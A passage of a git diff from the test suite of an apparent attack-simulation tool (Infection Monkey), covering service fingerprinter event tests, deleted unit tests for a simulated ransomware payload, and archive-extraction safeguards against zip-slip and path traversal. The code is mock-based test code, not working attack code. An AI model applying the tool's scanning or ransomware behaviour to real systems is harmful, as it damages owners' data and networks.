mock_agent_event_publisher.publish.call_count == 2 + 1 + + assert mock_agent_event_publisher.publish.call_args_list[0][0][0].method == HTTPMethod.HEAD + assert "1080" in mock_agent_event_publisher.publish.call_args_list[0][0][0].url + assert mock_agent_event_publisher.publish.call_args_list[1][0][0].method == HTTPMethod.HEAD + assert "1080" in mock_agent_event_publisher.publish.call_args_list[1][0][0].url + + assert len(mock_agent_event_publisher.publish.call_args_list[2][0][0].discovered_services) == 1 + assert ( + DiscoveredService( + protocol=NetworkProtocol.TCP, port=NetworkPort(1080), service=NetworkService.HTTP + ) + in mock_agent_event_publisher.publish.call_args_list[2][0][0].discovered_services + ) diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_mssql_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_mssql_fingerprinter.py index 3a83b1be1e9..6ac861b4e14 100644 --- a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_mssql_fingerprinter.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_mssql_fingerprinter.py @@ -2,9 +2,11 @@ from unittest.mock import MagicMock import pytest +from tests.unit_tests.monkey_island.cc.models.test_agent import AGENT_ID -from common.types import NetworkPort, NetworkProtocol, NetworkService, PortStatus -from infection_monkey.i_puppet import DiscoveredService, PortScanData +from common.event_queue import IAgentEventPublisher +from common.types import DiscoveredService, NetworkPort, NetworkProtocol, NetworkService, PortStatus +from infection_monkey.i_puppet import PortScanData from infection_monkey.network_scanning.mssql_fingerprinter import ( SQL_BROWSER_DEFAULT_PORT, MSSQLFingerprinter, @@ -27,11 +29,16 @@ @pytest.fixture -def fingerprinter(): - return MSSQLFingerprinter() +def mock_agent_event_publisher() -> IAgentEventPublisher: + return MagicMock(spec=IAgentEventPublisher) -def test_mssql_fingerprint_successful(monkeypatch, fingerprinter): +@pytest.fixture +def fingerprinter(mock_agent_event_publisher): + return MSSQLFingerprinter(AGENT_ID, mock_agent_event_publisher) + + +def test_mssql_fingerprint_successful(monkeypatch, mock_agent_event_publisher, fingerprinter): successful_server_response = ( b"\x05y\x00ServerName;BogusVogus;InstanceName;GhostServer;" b"IsClustered;No;Version;11.1.1111.111;tcp;1433;np;blah_blah;;" @@ -52,6 +59,25 @@ def test_mssql_fingerprint_successful(monkeypatch, fingerprinter): expected_services = list(set([MSSQL_DISCOVERED_SERVICE, SQL_BROWSER_DISCOVERED_SERVICE])) assert fingerprint_data.services == expected_services + assert mock_agent_event_publisher.publish.call_count == 1 + assert len(mock_agent_event_publisher.publish.call_args_list[0][0][0].discovered_services) == 2 + assert ( + DiscoveredService( + protocol=NetworkProtocol.TCP, + port=NetworkPort(1433), # taken from `successful_server_response` + service=NetworkService.MSSQL, + ) + in mock_agent_event_publisher.publish.call_args_list[0][0][0].discovered_services + ) + assert ( + DiscoveredService( + protocol=NetworkProtocol.UDP, + port=SQL_BROWSER_DEFAULT_PORT, + service=NetworkService.MSSQL_BROWSER, + ) + in mock_agent_event_publisher.publish.call_args_list[0][0][0].discovered_services + ) + @pytest.mark.parametrize( "mock_query_function", @@ -61,7 +87,9 @@ def test_mssql_fingerprint_successful(monkeypatch, fingerprinter): MagicMock(side_effect=Exception), ], ) -def test_mssql_no_response_from_server(monkeypatch, fingerprinter, mock_query_function): +def test_mssql_no_response_from_server( + monkeypatch, mock_agent_event_publisher, fingerprinter, mock_query_function +): monkeypatch.setattr( "infection_monkey.network_scanning.mssql_fingerprinter._query_mssql_for_instance_data", mock_query_function, @@ -75,8 +103,11 @@ def test_mssql_no_response_from_server(monkeypatch, fingerprinter, mock_query_fu assert fingerprint_data.os_version is None assert len(fingerprint_data.services) == 0 + assert mock_agent_event_publisher.publish.call_count == 1 + assert len(mock_agent_event_publisher.publish.call_args_list[0][0][0].discovered_services) == 0 + -def test_mssql_wrong_response_from_server(monkeypatch, fingerprinter): +def test_mssql_wrong_response_from_server(monkeypatch, mock_agent_event_publisher, fingerprinter): mangled_server_response = ( b"Lorem ipsum dolor sit amet, consectetur adipiscing elit. " b"Pellentesque ultrices ornare libero, ;;" @@ -97,3 +128,14 @@ def test_mssql_wrong_response_from_server(monkeypatch, fingerprinter): assert fingerprint_data.services[0].service == NetworkService.UNKNOWN assert fingerprint_data.services[0].port == SQL_BROWSER_DEFAULT_PORT assert fingerprint_data.services[0].protocol == NetworkProtocol.UDP + + assert mock_agent_event_publisher.publish.call_count == 1 + assert len(mock_agent_event_publisher.publish.call_args_list[0][0][0].discovered_services) == 1 + assert ( + DiscoveredService( + protocol=NetworkProtocol.UDP, + port=SQL_BROWSER_DEFAULT_PORT, + service=NetworkService.UNKNOWN, + ) + in mock_agent_event_publisher.publish.call_args_list[0][0][0].discovered_services + ) diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ssh_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ssh_fingerprinter.py index 9d2a78d2af5..2c9e9d2bef2 100644 --- a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ssh_fingerprinter.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ssh_fingerprinter.py @@ -1,8 +1,12 @@ +from unittest.mock import MagicMock + import pytest +from tests.unit_tests.monkey_island.cc.models.test_agent import AGENT_ID from common import OperatingSystem -from common.types import NetworkProtocol, NetworkService, PortStatus -from infection_monkey.i_puppet import DiscoveredService, FingerprintData, PortScanData +from common.event_queue import IAgentEventPublisher +from common.types import DiscoveredService, NetworkPort, NetworkProtocol, NetworkService, PortStatus +from infection_monkey.i_puppet import FingerprintData, PortScanData from infection_monkey.network_scanning.ssh_fingerprinter import SSHFingerprinter SSH_SERVICE_22 = DiscoveredService( @@ -15,11 +19,16 @@ @pytest.fixture -def ssh_fingerprinter(): - return SSHFingerprinter() +def mock_agent_event_publisher() -> IAgentEventPublisher: + return MagicMock(spec=IAgentEventPublisher) + + +@pytest.fixture +def ssh_fingerprinter(mock_agent_event_publisher): + return SSHFingerprinter(AGENT_ID, mock_agent_event_publisher) -def test_no_ssh_ports_open(ssh_fingerprinter): +def test_no_ssh_ports_open(ssh_fingerprinter, mock_agent_event_publisher): port_scan_data = { 22: PortScanData(port=22, status=PortStatus.CLOSED, banner="", service=NetworkService.SSH), 123: PortScanData( @@ -33,8 +42,10 @@ def test_no_ssh_ports_open(ssh_fingerprinter): assert results == FingerprintData(os_type=None, os_version=None, services=[]) + assert mock_agent_event_publisher.publish.call_count == 0 -def test_no_os(ssh_fingerprinter): + +def test_no_os(ssh_fingerprinter, mock_agent_event_publisher): port_scan_data = { 22: PortScanData( port=22, @@ -63,13 +74,36 @@ def test_no_os(ssh_fingerprinter): services=[SSH_SERVICE_22, SSH_SERVICE_2222], ) + assert mock_agent_event_publisher.publish.call_count == 1 + assert len(mock_agent_event_publisher.publish.call_args_list[0][0][0].discovered_services) == 2 + assert ( + DiscoveredService( + protocol=NetworkProtocol.TCP, + port=NetworkPort(22), + service=NetworkService.SSH, + ) + in mock_agent_event_publisher.publish.call_args_list[0][0][0].discovered_services + ) + assert ( + DiscoveredService( + protocol=NetworkProtocol.TCP, + port=NetworkPort(2222), + service=NetworkService.SSH, + ) + in mock_agent_event_publisher.publish.call_args_list[0][0][0].discovered_services + ) + assert mock_agent_event_publisher.publish.call_args_list[0][0][0].os is None + assert mock_agent_event_publisher.publish.call_args_list[0][0][0].os_version is None + + +def test_ssh_os(ssh_fingerprinter, mock_agent_event_publisher): + os_version = "Ubuntu-4ubuntu0.2" -def test_ssh_os(ssh_fingerprinter): port_scan_data = { 22: PortScanData( port=22, status=PortStatus.OPEN, - banner="SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.2", + banner=f"SSH-2.0-OpenSSH_8.2p1 {os_version}", service=NetworkService.SSH, ), 443: PortScanData( @@ -82,27 +116,40 @@ def test_ssh_os(ssh_fingerprinter): results = ssh_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, None) assert results == FingerprintData( - os_type=OperatingSystem.LINUX, os_version="Ubuntu-4ubuntu0.2", services=[SSH_SERVICE_22] + os_type=OperatingSystem.LINUX, os_version=os_version, services=[SSH_SERVICE_22] ) + assert mock_agent_event_publisher.publish.call_count == 1 + assert len(mock_agent_event_publisher.publish.call_args_list[0][0][0].discovered_services) == 1 + assert ( + DiscoveredService( + protocol=NetworkProtocol.TCP, + port=NetworkPort(22), + service=NetworkService.SSH, + ) + in mock_agent_event_publisher.publish.call_args_list[0][0][0].discovered_services + ) + + assert mock_agent_event_publisher.publish.call_args_list[0][0][0].os is OperatingSystem.LINUX + assert mock_agent_event_publisher.publish.call_args_list[0][0][0].os_version == os_version + + +def test_os_info_not_overwritten(ssh_fingerprinter, mock_agent_event_publisher): + os_version = "Ubuntu-4ubuntu0.2" -def test_multiple_os(ssh_fingerprinter): port_scan_data = { 22: PortScanData( port=22, status=PortStatus.OPEN, - banner="SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.2", + banner=f"SSH-2.0-OpenSSH_8.2p1 {os_version}", service=NetworkService.SSH, ), 2222: PortScanData( port=2222, status=PortStatus.OPEN, - banner="SSH-2.0-OpenSSH_8.2p1 Debian", + banner="SSH-2.0-OpenSSH_8.2p1 OSThatShouldBeIgnored", service=NetworkService.SSH, ), - 443: PortScanData( - port=443, status=PortStatus.CLOSED, banner="", service=NetworkService.HTTPS - ), 8080: PortScanData( port=8080, status=PortStatus.CLOSED, banner="", service=NetworkService.HTTP ), @@ -111,6 +158,28 @@ def test_multiple_os(ssh_fingerprinter): assert results == FingerprintData( os_type=OperatingSystem.LINUX, - os_version="Debian", + os_version=os_version, services=[SSH_SERVICE_22, SSH_SERVICE_2222], ) + + assert mock_agent_event_publisher.publish.call_count == 1 + assert len(mock_agent_event_publisher.publish.call_args_list[0][0][0].discovered_services) == 2 + assert ( + DiscoveredService( + protocol=NetworkProtocol.TCP, + port=NetworkPort(22), + service=NetworkService.SSH, + ) + in mock_agent_event_publisher.publish.call_args_list[0][0][0].discovered_services + ) + assert ( + DiscoveredService( + protocol=NetworkProtocol.TCP, + port=NetworkPort(2222), + service=NetworkService.SSH, + ) + in mock_agent_event_publisher.publish.call_args_list[0][0][0].discovered_services + ) + + assert mock_agent_event_publisher.publish.call_args_list[0][0][0].os is OperatingSystem.LINUX + assert mock_agent_event_publisher.publish.call_args_list[0][0][0].os_version == os_version diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/__init__.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/__init__.py deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py deleted file mode 100644 index 478ce3bc1d9..00000000000 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py +++ /dev/null @@ -1,320 +0,0 @@ -import os -import threading -from pathlib import Path, PurePosixPath -from typing import Type -from unittest.mock import MagicMock - -import pytest -from tests.unit_tests.infection_monkey.payload.ransomware.ransomware_target_files import ( - ALL_ZEROS_PDF, - HELLO_TXT, - TEST_KEYBOARD_TXT, -) -from tests.utils import is_user_admin - -from common.agent_events import AbstractAgentEvent, FileEncryptionEvent -from common.event_queue import AgentEventSubscriber, IAgentEventQueue -from common.types import AgentID -from infection_monkey.payload.ransomware.consts import README_FILE_NAME, README_SRC -from infection_monkey.payload.ransomware.ransomware import Ransomware -from infection_monkey.payload.ransomware.ransomware_options import RansomwareOptions - - -class AgentEventQueueSpy(IAgentEventQueue): - def __init__(self): - self.events = [] - - def subscribe_all_events(self, subscriber: AgentEventSubscriber): - pass - - def subscribe_type( - self, event_type: Type[AbstractAgentEvent], subscriber: AgentEventSubscriber - ): - pass - - def subscribe_tag(self, tag: str, subscriber: AgentEventSubscriber): - pass - - def publish(self, event: AbstractAgentEvent): - self.events.append(event) - - -@pytest.fixture -def agent_event_queue_spy(): - return AgentEventQueueSpy() - - -@pytest.fixture -def ransomware(build_ransomware, ransomware_options): - return build_ransomware(ransomware_options) - - -@pytest.fixture -def build_ransomware( - mock_file_encryptor, mock_file_selector, mock_leave_readme, agent_event_queue_spy -): - def inner( - config, - file_encryptor=mock_file_encryptor, - file_selector=mock_file_selector, - leave_readme=mock_leave_readme, - ): - return Ransomware( - config, - file_encryptor, - file_selector, - leave_readme, - agent_event_queue_spy, - AgentID("8f53f4fb-2d33-465a-aa9c-de704a7e42b3"), - ) - - return inner - - -@pytest.fixture -def ransomware_options(ransomware_file_extension, ransomware_test_data): - class RansomwareOptionsStub(RansomwareOptions): - def __init__(self, encryption_enabled, readme_enabled, file_extension, target_directory): - self.encryption_enabled = encryption_enabled - self.readme_enabled = readme_enabled - self.file_extension = file_extension - self.target_directory = target_directory - - return RansomwareOptionsStub(True, False, ransomware_file_extension, ransomware_test_data) - - -@pytest.fixture -def mock_file_encryptor(): - return MagicMock() - - -@pytest.fixture -def mock_file_selector(ransomware_test_data): - selected_files = iter( - [ - ransomware_test_data / ALL_ZEROS_PDF, - ransomware_test_data / TEST_KEYBOARD_TXT, - ] - ) - return MagicMock(return_value=selected_files) - - -@pytest.fixture -def mock_leave_readme(): - return MagicMock() - - -@pytest.fixture -def interrupt(): - return threading.Event() - - -def test_files_selected_from_target_dir( - ransomware, - ransomware_options, - mock_file_selector, -): - ransomware.run(threading.Event()) - mock_file_selector.assert_called_with(ransomware_options.target_directory) - - -def test_all_selected_files_encrypted(ransomware_test_data, ransomware, mock_file_encryptor): - ransomware.run(threading.Event()) - - assert mock_file_encryptor.call_count == 2 - mock_file_encryptor.assert_any_call(ransomware_test_data / ALL_ZEROS_PDF) - mock_file_encryptor.assert_any_call(ransomware_test_data / TEST_KEYBOARD_TXT) - - -def test_interrupt_while_encrypting( - ransomware_test_data, interrupt, ransomware_options, build_ransomware -): - selected_files = [ - ransomware_test_data / ALL_ZEROS_PDF, - ransomware_test_data / HELLO_TXT, - ransomware_test_data / TEST_KEYBOARD_TXT, - ] - mfs = MagicMock(return_value=selected_files) - - def _callback(file_path, *_): - # Block all threads here until 2 threads reach this barrier, then set stop - # and test that neither thread continues to scan. - if file_path.name == HELLO_TXT: - interrupt.set() - - mfe = MagicMock(side_effect=_callback) - - build_ransomware(ransomware_options, mfe, mfs).run(interrupt) - - assert mfe.call_count == 2 - mfe.assert_any_call(ransomware_test_data / ALL_ZEROS_PDF) - mfe.assert_any_call(ransomware_test_data / HELLO_TXT) - - -def test_no_readme_after_interrupt( - ransomware_options, build_ransomware, interrupt, mock_leave_readme -): - ransomware_options.readme_enabled = True - ransomware = build_ransomware(ransomware_options) - - interrupt.set() - ransomware.run(interrupt) - - mock_leave_readme.assert_not_called() - - -def test_encryption_skipped_if_configured_false( - build_ransomware, ransomware_options, mock_file_encryptor -): - ransomware_options.encryption_enabled = False - - ransomware = build_ransomware(ransomware_options) - ransomware.run(threading.Event()) - - assert mock_file_encryptor.call_count == 0 - - -def test_encryption_skipped_if_no_directory( - build_ransomware, ransomware_options, mock_file_encryptor -): - ransomware_options.encryption_enabled = True - ransomware_options.target_directory = None - - ransomware = build_ransomware(ransomware_options) - ransomware.run(threading.Event()) - - assert mock_file_encryptor.call_count == 0 - - -def test_readme_false(build_ransomware, ransomware_options, mock_leave_readme): - ransomware_options.readme_enabled = False - ransomware = build_ransomware(ransomware_options) - - ransomware.run(threading.Event()) - mock_leave_readme.assert_not_called() - - -def test_readme_true(build_ransomware, ransomware_options, mock_leave_readme, ransomware_test_data): - ransomware_options.readme_enabled = True - ransomware = build_ransomware(ransomware_options) - - ransomware.run(threading.Event()) - mock_leave_readme.assert_called_with(README_SRC, ransomware_test_data / README_FILE_NAME) - - -def test_no_readme_if_no_directory(build_ransomware, ransomware_options, mock_leave_readme): - ransomware_options.target_directory = None - ransomware_options.readme_enabled = True - - ransomware = build_ransomware(ransomware_options) - - ransomware.run(threading.Event()) - mock_leave_readme.assert_not_called() - - -def test_leave_readme_exceptions_handled(build_ransomware, ransomware_options): - leave_readme = MagicMock(side_effect=Exception("Test exception when leaving README")) - ransomware_options.readme_enabled = True - ransomware = build_ransomware(config=ransomware_options, leave_readme=leave_readme) - - # Test will fail if exception is raised and not handled - ransomware.run(threading.Event()) - - -def test_file_encryption_event_publishing( - agent_event_queue_spy, ransomware_test_data, ransomware_options, build_ransomware -): - expected_selected_files = [ - ransomware_test_data / ALL_ZEROS_PDF, - ransomware_test_data / HELLO_TXT, - ransomware_test_data / TEST_KEYBOARD_TXT, - ] - mfs = MagicMock(return_value=expected_selected_files) - - build_ransomware(ransomware_options, MagicMock(), mfs).run(threading.Event()) - - assert len(agent_event_queue_spy.events) == 3 - - for event in agent_event_queue_spy.events: - assert event.__class__ is FileEncryptionEvent - assert event.success - assert event.target is None - - actual_file_paths = [event.file_path for event in agent_event_queue_spy.events] - assert expected_selected_files == actual_file_paths - - -def test_file_encryption_event_publishing__failed( - agent_event_queue_spy, ransomware_test_data, ransomware_options, build_ransomware -): - file_not_exists = "/file/not/exist" - mfe = MagicMock( - side_effect=FileNotFoundError(f"[Errno 2] No such file or directory: '{file_not_exists}'") - ) - mfs = MagicMock(return_value=[PurePosixPath(file_not_exists)]) - ransomware = build_ransomware(config=ransomware_options, file_encryptor=mfe, file_selector=mfs) - - ransomware.run(threading.Event()) - - assert len(agent_event_queue_spy.events) == 1 - - for event in agent_event_queue_spy.events: - assert event.__class__ is FileEncryptionEvent - assert not event.success - assert event.target is None - assert event.file_path == PurePosixPath(file_not_exists) - - -def test_no_action_if_directory_doesnt_exist( - ransomware_options, build_ransomware, mock_file_selector, mock_leave_readme -): - ransomware_options.target_directory = Path("/noexist") - ransomware_options.readme_enabled = True - ransomware = build_ransomware(ransomware_options) - - ransomware.run(threading.Event()) - - mock_file_selector.assert_not_called() - mock_leave_readme.assert_not_called() - - -def test_no_action_if_directory_is_file( - tmp_path, ransomware_options, build_ransomware, mock_file_selector, mock_leave_readme -): - target_file = tmp_path / "target_file.txt" - target_file.touch() - assert target_file.exists() - assert target_file.is_file() - - ransomware_options.target_directory = target_file - ransomware_options.readme_enabled = True - ransomware = build_ransomware(ransomware_options) - - ransomware.run(threading.Event()) - - mock_file_selector.assert_not_called() - mock_leave_readme.assert_not_called() - - -@pytest.mark.skipif( - os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows" -) -def test_no_action_if_directory_is_symlink( - tmp_path, ransomware_options, build_ransomware, mock_file_selector, mock_leave_readme -): - link_target = tmp_path / "link_target" - link_target.mkdir() - assert link_target.exists() - assert link_target.is_dir() - - link = tmp_path / "link" - link.symlink_to(link_target, target_is_directory=True) - - ransomware_options.target_directory = link - ransomware_options.readme_enabled = True - ransomware = build_ransomware(ransomware_options) - - ransomware.run(threading.Event()) - - mock_file_selector.assert_not_called() - mock_leave_readme.assert_not_called() diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_options.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_options.py deleted file mode 100644 index 496cbd1fe7f..00000000000 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_options.py +++ /dev/null @@ -1,83 +0,0 @@ -from pathlib import Path - -import pytest -from tests.utils import raise_ - -from common.utils.file_utils import InvalidPath -from infection_monkey.payload.ransomware import ransomware_options -from infection_monkey.payload.ransomware.ransomware_options import RansomwareOptions - -EXTENSION = ".testext" -LINUX_DIR = "/tmp/test" -WINDOWS_DIR = "C:\\tmp\\test" - - -@pytest.fixture -def options_from_island(): - return { - "encryption": { - "enabled": None, - "file_extension": EXTENSION, - "directories": { - "linux_target_dir": LINUX_DIR, - "windows_target_dir": WINDOWS_DIR, - }, - }, - "other_behaviors": {"readme": None}, - } - - -@pytest.mark.parametrize("enabled", [True, False]) -def test_encryption_enabled(enabled, options_from_island): - options_from_island["encryption"]["enabled"] = enabled - options = RansomwareOptions(options_from_island) - - assert options.encryption_enabled == enabled - - -@pytest.mark.parametrize("enabled", [True, False]) -def test_readme_enabled(enabled, options_from_island): - options_from_island["other_behaviors"]["readme"] = enabled - options = RansomwareOptions(options_from_island) - - assert options.readme_enabled == enabled - - -def test_file_extension(options_from_island): - options = RansomwareOptions(options_from_island) - - assert options.file_extension == EXTENSION - - -def test_linux_target_dir(monkeypatch, options_from_island): - monkeypatch.setattr(ransomware_options, "is_windows_os", lambda: False) - - options = RansomwareOptions(options_from_island) - assert options.target_directory == Path(LINUX_DIR) - - -def test_windows_target_dir(monkeypatch, options_from_island): - monkeypatch.setattr(ransomware_options, "is_windows_os", lambda: True) - - options = RansomwareOptions(options_from_island) - assert options.target_directory == Path(WINDOWS_DIR) - - -def test_env_variables_in_target_dir_resolved( - options_from_island, home_env_variable, patched_home_env, tmp_path -): - path_with_env_variable = f"{home_env_variable}/ransomware_target" - - options_from_island["encryption"]["directories"]["linux_target_dir"] = options_from_island[ - "encryption" - ]["directories"]["windows_target_dir"] = path_with_env_variable - - options = RansomwareOptions(options_from_island) - assert options.target_directory == patched_home_env / "ransomware_target" - - -def test_target_dir_is_none(monkeypatch, options_from_island): - monkeypatch.setattr(ransomware_options, "expand_path", lambda _: raise_(InvalidPath("invalid"))) - - options = RansomwareOptions(options_from_island) - assert options.target_directory is None diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_readme_dropper.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_readme_dropper.py deleted file mode 100644 index 5687456800f..00000000000 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_readme_dropper.py +++ /dev/null @@ -1,31 +0,0 @@ -import filecmp - -import pytest -from tests.utils import get_file_sha256_hash - -from infection_monkey.payload.ransomware.readme_dropper import leave_readme - -DEST_FILE = "README.TXT" -EMPTY_FILE_HASH = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" - - -@pytest.fixture(scope="module") -def src_readme(data_for_tests_dir): - return data_for_tests_dir / "test_readme.txt" - - -@pytest.fixture -def dest_readme(tmp_path): - return tmp_path / DEST_FILE - - -def test_readme_already_exists(src_readme, dest_readme): - dest_readme.touch() - - leave_readme(src_readme, dest_readme) - assert get_file_sha256_hash(dest_readme) == EMPTY_FILE_HASH - - -def test_leave_readme_linux(src_readme, dest_readme): - leave_readme(src_readme, dest_readme) - assert filecmp.cmp(src_readme, dest_readme) diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_compatibility_verifier.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_compatibility_verifier.py index b841774ab09..e516acfc587 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_compatibility_verifier.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_compatibility_verifier.py @@ -1,4 +1,3 @@ -from copy import deepcopy from ipaddress import IPv4Address from unittest.mock import MagicMock @@ -7,7 +6,6 @@ FAKE_MANIFEST_OBJECT, FAKE_NAME, FAKE_NAME2, - FAKE_TYPE, URL, ) @@ -20,21 +18,6 @@ FAKE_NAME3 = "http://www.BogusExploiter.com" -FAKE_MANIFEST_OBJECT_2 = AgentPluginManifest( - name=FAKE_NAME2, - plugin_type=FAKE_TYPE, - supported_operating_systems=(OperatingSystem.LINUX, OperatingSystem.WINDOWS), - target_operating_systems=(OperatingSystem.WINDOWS,), - title="Some exploiter title", - version="1.0.0", - link_to_documentation=URL, -) - -FAKE_HARD_CODED_PLUGIN_MANIFESTS = { - FAKE_NAME: FAKE_MANIFEST_OBJECT, - FAKE_NAME2: FAKE_MANIFEST_OBJECT_2, -} - @pytest.fixture def island_api_client(): @@ -47,23 +30,7 @@ def raise_island_api_error(plugin_type, name): @pytest.fixture def plugin_compatibility_verifier(island_api_client): - return PluginCompatibilityVerifier( - island_api_client, OperatingSystem.WINDOWS, deepcopy(FAKE_HARD_CODED_PLUGIN_MANIFESTS) - ) - - -@pytest.mark.parametrize( - "target_host_os, exploiter_name", - [(None, FAKE_NAME), (OperatingSystem.WINDOWS, FAKE_NAME2), (OperatingSystem.LINUX, FAKE_NAME)], -) -def test_os_compatibility_verifier__hard_coded_exploiters( - target_host_os, exploiter_name, island_api_client, plugin_compatibility_verifier -): - target_host = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=target_host_os) - - assert plugin_compatibility_verifier.verify_target_operating_system_compatibility( - AgentPluginType.EXPLOITER, exploiter_name, target_host - ) + return PluginCompatibilityVerifier(island_api_client, OperatingSystem.WINDOWS) @pytest.mark.parametrize( @@ -143,9 +110,7 @@ def test_verify_local_os_compatibility( link_to_documentation=URL, ) island_api_client.get_agent_plugin_manifest = lambda _, __: manifest - plugin_compatibility_verifier = PluginCompatibilityVerifier( - island_api_client, operating_system, {} - ) + plugin_compatibility_verifier = PluginCompatibilityVerifier(island_api_client, operating_system) actual_result = plugin_compatibility_verifier.verify_local_operating_system_compatibility( plugin_type, FAKE_NAME2 @@ -178,7 +143,7 @@ def test_manifest_caching(island_api_client, plugin_type): ) island_api_client.get_agent_plugin_manifest.side_effect = lambda _, __: manifest plugin_compatibility_verifier = PluginCompatibilityVerifier( - island_api_client, OperatingSystem.LINUX, {} + island_api_client, OperatingSystem.LINUX ) plugin_compatibility_verifier.verify_local_operating_system_compatibility( diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_registry.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_registry.py index 61c450de9ce..58c08d688f2 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_registry.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_registry.py @@ -128,6 +128,7 @@ def mock_plugin_factories() -> Dict[AgentPluginType, IPluginFactory]: return { AgentPluginType.EXPLOITER: MagicMock(spec=IPluginFactory), AgentPluginType.CREDENTIALS_COLLECTOR: MagicMock(spec=IPluginFactory), + AgentPluginType.PAYLOAD: MagicMock(spec=IPluginFactory), } @@ -193,7 +194,7 @@ def test_get_plugin__loads_supported_plugin_types( @pytest.mark.parametrize( "plugin_type", - [AgentPluginType.FINGERPRINTER, AgentPluginType.PAYLOAD], + [AgentPluginType.FINGERPRINTER], ) def test_get_plugin__raises_error_for_unsupported_plugin_types( plugin_registry: PluginRegistry, plugin_type diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_source_extractor.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_source_extractor.py index c495a250aa9..ef1aba71931 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_source_extractor.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_source_extractor.py @@ -1,3 +1,4 @@ +import gzip from pathlib import Path import pytest @@ -16,7 +17,7 @@ def build_agent_plugin(source_tar_path: Path, name="test_plugin") -> AgentPlugin return AgentPlugin.construct( plugin_manifest=manifest, config_schema={}, - source_archive=read_file_to_bytes(source_tar_path), + source_archive=gzip.compress(read_file_to_bytes(source_tar_path), compresslevel=1), supported_operating_systems=(OperatingSystem.WINDOWS,), ) @@ -51,21 +52,21 @@ def test_extract_plugin_source(tmp_path: Path, dircmp_path: Path, extractor: Plu assert_directories_equal(tmp_path / "test_plugin", dircmp_path / "dir1") -def test_zipslip_tar_raises_exception(plugin_data_dir, extractor: PluginSourceExtractor): +def test_zipslip_tar_raises_exception(plugin_data_dir: Path, extractor: PluginSourceExtractor): agent_plugin = build_agent_plugin(plugin_data_dir / "zip_slip.tar") with pytest.raises(ValueError): extractor.extract_plugin_source(agent_plugin) -def test_symlink_tar_raises_exception(plugin_data_dir, extractor: PluginSourceExtractor): +def test_symlink_tar_raises_exception(plugin_data_dir: Path, extractor: PluginSourceExtractor): agent_plugin = build_agent_plugin(plugin_data_dir / "symlink_file.tar") with pytest.raises(ValueError): extractor.extract_plugin_source(agent_plugin) -def test_device_tar_raises_exception(plugin_data_dir, extractor: PluginSourceExtractor): +def test_device_tar_raises_exception(plugin_data_dir: Path, extractor: PluginSourceExtractor): agent_plugin = build_agent_plugin(plugin_data_dir / "device.tar") with pytest.raises(ValueError): @@ -87,9 +88,22 @@ def test_device_tar_raises_exception(plugin_data_dir, extractor: PluginSourceExt ], ) def test_plugin_name_directory_traversal( - dircmp_path, extractor: PluginSourceExtractor, malicious_plugin_name: str + dircmp_path: Path, extractor: PluginSourceExtractor, malicious_plugin_name: str ): agent_plugin = build_agent_plugin(dircmp_path / "dir1.tar", malicious_plugin_name) with pytest.raises(ValueError): extractor.extract_plugin_source(agent_plugin) + + +def test_extract_nongzip_raises_value_error(dircmp_path: Path, extractor: PluginSourceExtractor): + source_tar_path = dircmp_path / "dir1.tar" + manifest = AgentPluginManifest.construct(name="test", plugin_type=AgentPluginType.EXPLOITER) + agent_plugin = AgentPlugin.construct( + plugin_manifest=manifest, + config_schema={}, + source_archive=read_file_to_bytes(source_tar_path), # Not gzipped + supported_operating_systems=(OperatingSystem.WINDOWS,), + ) + with pytest.raises(ValueError): + extractor.extract_plugin_source(agent_plugin) diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py index 4d440c13917..bd189d7cb9b 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py @@ -114,10 +114,27 @@ def test_puppet_run_multiple_payloads(puppet: Puppet): payload_3.run.assert_called_once() +def test_run_payload__incompatible_local_os( + mock_plugin_compatibility_verifier: PluginCompatibilityVerifier, puppet: Puppet +): + mock_plugin_compatibility_verifier.verify_local_operating_system_compatibility = MagicMock( # type: ignore [assignment] # noqa: E501 + return_value=False + ) + + with pytest.raises(IncompatibleLocalOperatingSystemError): + puppet.run_payload("test", {}, threading.Event()) + + def 